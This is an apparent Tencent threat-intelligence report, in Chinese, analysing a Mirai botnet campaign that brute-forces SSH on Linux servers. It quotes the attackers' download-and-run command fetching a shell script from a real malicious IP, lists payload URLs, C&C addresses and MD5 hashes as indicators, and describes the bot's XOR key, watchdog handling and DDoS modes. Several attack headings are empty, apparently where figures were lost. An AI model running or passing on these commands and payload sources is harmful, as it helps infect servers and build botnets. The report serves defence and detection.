一、背景
腾讯安全威胁情报中心检测到Mirai僵尸网络大规模攻击Linux服务器。攻击者针对Linux服务器的SSH(22端口)进行弱口令爆破攻击,成功登陆后执行shellcode下载shell脚本,然后通过shell脚本依次下载基于多个系统平台的Mirai僵尸网络二进制木马程序。
Mirai是一个大型僵尸网络,主要通过SSH和telnet弱口令进行感染,攻击目标包括监控摄像头、路由器等物联网设备以及Linux服务器,控制机器后通过C&C服务器下发命令进行DDoS攻击。根据腾讯安全威胁情报中心监测数据,Mirai僵尸网络已在全国造成上万台设备感染,其中感染最多的为广东、上海和北京。
腾讯安全专家建议企业linux管理员避免使用弱口令,关闭非必须启用的端口,以防御黑客利用弱口令爆破的方式远程入侵,腾讯安全系列产品也针对Mirai僵尸网络的技术特点进行响应。
二、详细分析
攻击者通过SSH(22端口)弱口令爆破进行远程攻击,攻击成功后执行如下shellcode:
cd /tmp || cd /run || cd /; wget http[:]//193.228.91.123/reportandyougaybins.sh; chmod 777 reportandyougaybins.sh; sh reportandyougaybins.sh
shellcode使用wget下载shell脚本reportandyougaybins.sh到/tmp目录下并通过sh执行,reportandyougaybins.sh脚本内容如下:
reportandyougaybins.sh主要功能为下载和执行二进制木马程序,会分别从以下地址下载多个架构体系的系统平台,其中i586、i686、x86可感染基于Intel处理器的Linux服务器:
http[:]//193.228.91.123/mips
http[:]//193.228.91.123/mipsel
http[:]//193.228.91.123/sh4
http[:]//193.228.91.123/x86
http[:]//193.228.91.123/armv6l
http[:]//193.228.91.123/i686
http[:]//193.228.91.123/powerpc
http[:]//193.228.91.123/i586
http[:]//193.228.91.123/m68k
http[:]//193.228.91.123/sparc
http[:]//193.228.91.123/armv4l
http[:]//193.228.91.123/armv5l
以i586为例进行分析,该样本的主要功能为与C&C地址通信,接收远程命令对目标发起DDOS攻击。在IOT设备中,通常会有看门狗(watchdog)进程,不断给看门狗进程发送发送心跳可以保持设备不重启。Mirai首先尝试发送控制码0x80045704来关闭看门狗功能,如果未成功关闭,则进入循环不断向其发送保活指令0x80045705。
从/proc/net/route中获取本机IP。
初始化table,并将后续要使用的数据添加到table中。
然后table_retrieve_val从table中取出数据,table_lock_val和table_unlock_val分别为加密和解密数据,解密函数在toggle_obf()中实现,解密方法是将数据与table_key进行循环异或,其中table_key=0xDEDEFFBA。
解密并连接C&C服务器194.180.224.103:3982,然后向其发送字符串“arch unknow”。
Mirai与C&C服务器通信TCP流:
获取C&C服务器返回的数据后,进入processCmd处理接收到的命令。
Mirai可根据命令向目标发起以下类型的DDoS攻击:”HTTP”、”CUDP”、”UDP”、”STD”、”CTCP”、”TCP”、”SYN”、”ACK”、”CXMAS”、”XMAS”、”CVSE”、”VSE”、”CNC”。
HTTP攻击:
UDP攻击:
TCP攻击:
SYN攻击:
ACK攻击:
IOCs
193.228.91.123
194.180.224.103
45.95.168.138
45.95.168.190
37.49.224.87
193.228.91.124
185.172.110.185
194.180.224.103:3982
649a06f5159fc4e8ee269a9e0e1fd095
8bb40eb446abb7472cb3a892fd2450b4
3f3f8184219514d5834df94f362c74bc
ef3b89e44a3a4973575a876ee5105cec
34033f561d196495e5c4780327acca0a
6f637a4ccfd00d9c2e08ecb84ce0b987
03ff0f5521631db7fa0d7990b5b4c19e
91c0f5304438a42ae5f28c8c0ff15954
536accde3643cb8294dd671ae5bdb3a2
9789917095d92cfe507e5fc2266667a1
8bafcd3d57dc597af4b6cb497cf0a0de
7e8e28631962dd5d52cbd93e50e7916e
7bfd106fe9d41c658f3be934346d3ff6
f0d5b7e31b4308c5ec326de9304bd3f4
bd1db394d52b950eed972eae93b80469
8b49a58a0bcb93afe72f1e3c1d800515
97a3699b819496892788b5c7a24be868
990fe40e991b9813a4f73b115ba160cb
2c0cc3d82871cfc05d38ea0a04f7f80a
26c56b011a494886e758d12fc07f6951
6e6d56669554c492ec4b1a9abd23e35b
64e5195e9cde652de6b2623d2d3e098d
1eeee50672a42dc2e55c6d4126afaf26
f6bbcf50aeda03aab1b5bc21b3df3e99
8e7d3e4bedf9bc3ed8a67890edc36590
556bd1d4d93abf19b4075d12ffef02a8
0d5302aa5491b3944566a212ca205923
ef72d6cc859438142a166f1d3ea4d462
193f92152f483aeb7ebe6d42855d9f27
1de00b44ef800a9d878de591fc43b854
b6e5bfb4b2f75d828022b84a247e99f2
039f379f3a36b4ab982a5ada7ceea078
51547b23165bc6f205ec3625840f3800
92137cf8ff782e15995919ebaa658474
94e027f4d33900f116bcf176aba726de
aefe0411bd89a9b97c1741b75c9f7d71
d15256b7a475f8934daf79364b0885a1
c624ed18ad756aa6f41a70fe90102d78
5ff2fc4de3a059b*5*04e09b7b1663ac1f
fe6d19da030b1d299c35e89639d567bd
24a2659c72a980997161950926063b84
51b2190aa408ae08c6c9bf8dc8acc6e0
ecd696438914cc3c60dbf6de0df48f87
b45af2197eb3d12a199a40a048a36db6
32ef86b0358793f7ceffe1822bbf70e1
60fd7ed2e1ad0d41875d761b899766c4
0970f7f309bc678b0117d600e3f80f5f
a1dc1c62dba56af6a8b25767074d691d
1cca73d23c7e50f4111815e840bd8960
42c87649e776dd73aa06033f9b8b750e
08dc3f3c77161e1cc349d91263f76b8c
61915eb8d8742fea42d3683c7255945a
000466d4c6c06398042851a7c049f6b6
0be41e0b52c51ab4ad966513455550b1
6290db15f07f6ebb114824b912a10129
fe19b99077ef4fe492107e4a9b943094
9068c1c69ab5c6ba80f01bab1a1a2ad4
8bb40eb446abb7472cb3a892fd2450b4
2b8796693b5f578c40611e5221fb4788
9f71d8839d89f7bed716bb3f509eb22f
47f12cf0806d2875c592a7d15e266ee6
8ee73860cfe02ca529671c060c18cf00
9e91347c4d8afad598d21e446f967fb2
71d2dc0728e710e4f939c97e88929930
672380fd4c58302e1c48a45e75c580d7
143f7de27921db16b08cea70bb3bef7b
63db9805775b20dae4c0f06e03585446
4a751ef5ef5e48cfef33bd29e2a4a5b7
00bf4ee5a64971260683e047719c0dd8
028b7629ff410f429ba65db1f6779226
http[:]//193.228.91.123/ares.sh
http[:]//193.228.91.123/arm7
http[:]//193.228.91.123/armv6l
http[:]//193.228.91.123/i686
http[:]//193.228.91.123/33bi/Ares.ppc
http[:]//193.228.91.123/33bi/Ares.arm6
http[:]//193.228.91.123/33bi/ares.armebv7
http[:]//193.228.91.123/33bi/ares.mips
http[:]//193.228.91.123/33bi/Ares.m68k
http[:]//193.228.91.123/33bi/ares.mpsl
http[:]//185.172.110.185/taevimncorufglbzhwxqpdkjs/Meth.ppc
http[:]//185.172.110.185/taevimncorufglbzhwxqpdkjs/Meth.m68k
http[:]//185.172.110.185/taevimncorufglbzhwxqpdkjs/Meth.spc
http[:]//185.172.110.185/taevimncorufglbzhwxqpdkjs/Meth.i686
http[:]//185.172.110.185/taevimncorufglbzhwxqpdkjs/Meth.sh4
http[:]//185.172.110.185/taevimncorufglbzhwxqpdkjs/Meth.arc
http[:]//193.228.91.123/FuckBitchBastardDamnCuntJesusHaroldChristbins.sh
http[:]//193.228.91.123/reportandyougaybins.sh
http[:]//193.228.91.123/mips
http[:]//193.228.91.123/mipsel
http[:]//193.228.91.123/sh4
http[:]//193.228.91.123/x86
http[:]//193.228.91.123/armv6l
http[:]//193.228.91.123/i686
http[:]//193.228.91.123/powerp
http[:]//193.228.91.123/i586
http[:]//193.228.91.123/m68k
http[:]//193.228.91.123/sparc
http[:]//193.228.91.123/armv4l
http[:]//193.228.91.123/armv5l
http[:]//194.180.224.103/mips
http[:]//194.180.224.103/mipsel
http[:]//194.180.224.103/sh4
http[:]//194.180.224.103/x86
http[:]//194.180.224.103/armv6l
http[:]//194.180.224.103/i686
http[:]//194.180.224.103/powerpc
http[:]//194.180.224.103/i586
http[:]//194.180.224.103/m68k
http[:]//194.180.224.103/sparc
http[:]//194.180.224.103/armv4l
http[:]//194.180.224.103/armv5l
参考链接:
https://www.freebuf.com/articles/terminal/117927.html
http://blog.nsfocus.net/mirai-source-analysis-report/
来源:freebuf.com 2020-08-20 13:31:40 by: 腾讯电脑管家
请登录后发表评论
注册